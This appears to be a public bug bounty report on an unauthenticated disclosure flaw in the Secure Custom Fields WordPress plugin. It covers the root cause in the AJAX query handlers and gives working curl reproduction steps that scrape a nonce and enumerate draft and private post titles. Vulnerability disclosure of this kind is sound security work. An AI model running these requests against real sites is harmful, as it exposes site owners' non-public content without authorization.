HexBrain

WordPress · Report #3893632

Unauthenticated disclosure of draft/private/pending post titles & IDs via Secure Custom Fields nopriv AJAX field-query handlers (post_object/relations

Validstatus
mediumseverity
51upvotes
28 Sept 2026disclosed

How it was found

Secure Custom Fields 6.9.2 registers UNAUTHENTICATED (wp_ajax_nopriv_) AJAX query handlers for the post_object, relationship, and page_link field types. These handlers run a WP_Query whose post_status defaults to "any" with no capability / perm filtering, so they return draft, pending, private, and future posts (and non-public custom post types) to the caller. When any of these fields is rendered on a public-facing acf_form() (front-end post submission/editing — a standard SCF/ACF use case), the required per-field nonce is emitted into the public page HTML; because logged-out WordPress nonces are shared across all anonymous visitors (uid 0, empty session token), any unauthenticated visitor can reuse that nonce to enumerate non-public post titles and IDs, including a targeted keyword search.

Root cause — includes/fields/class-acf-field-post_object.php: :34 add_action('wp_ajax_nopriv_acf/fields/post_object/query', [$this,'ajax_query']); // UNAUTH :66 ajax_query() -> :96 get_ajax_query() :148 if ( ! empty( $field['post_status'] ) ) { $args['post_status'] = ...; } // post_status is set ONLY if the field configures it; the default is empty -> never set here.

includes/api/api-helpers.php: :1285 acf_get_grouped_posts( $args ) :1299 'post_status' => 'any', // default -> WP_Query returns non-public statuses, // with no 'perm' arg and no current_user_can() check -> draft/pending/private/future leak.

The only gate is acf_verify_ajax() (api-helpers.php:707) — a per-field nonce acf_field_post_object_<field_key> that is emitted into any public page rendering the field via acf_form(). The identical flaw exists in class-acf-field-relationship.php and class-acf-field-page_link.php.

Steps To Reproduce:

  1. WordPress + Secure Custom Fields 6.9.2. Register a field group with a post_object field that has NO post_status restriction (default), located on posts.
  2. Render that field on a PUBLIC page via a front-end form — a template/block calling acf_form_head() and acf_form(array('post_id'=>'new_post','fields'=>array('<field_key>'))). This is the normal SCF/ACF front-end-submission pattern.
  3. Create non-public posts: a DRAFT "SECRET-DRAFT" and a PRIVATE "PRIVATE-POST".
  4. As an UNAUTHENTICATED client (no cookies/credentials), fetch the public form page and scrape the per-field nonce from the HTML: curl -s https://SITE/pubform/ | grep -o 'data-nonce="[a-f0-9]*"' -> data-nonce="448a44d302"
  5. Call the nopriv AJAX query with that nonce: curl -s https://SITE/wp-admin/admin-ajax.php
    --data 'action=acf/fields/post_object/query&field_key=<field_key>&nonce=448a44d302&paged=1' Response (HTTP 200): {"results":[ {"id":1,"text":"Hello world!"}, {"id":32,"text":"PRIVATE-POST (private)"}, {"id":31,"text":"SECRET-DRAFT (draft)"} ],"more":false,"limit":20}
  6. Targeted enumeration via the search param: curl ... --data '...&nonce=448a44d302&s=SECRET' -> {"results":[{"id":31,"text":"SECRET-DRAFT (draft)"}],...}

Reproduced end-to-end with a real scraped nonce (no simulation).

Impact

An unauthenticated attacker can enumerate the titles and IDs of draft, pending, private, and scheduled posts — content the site intends to keep non-public — and can search for specific ones via the s parameter. If the field is not restricted to a post type, non-public custom post types are also exposed. This discloses unpublished editorial content, embargoed posts, and internal/private records.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original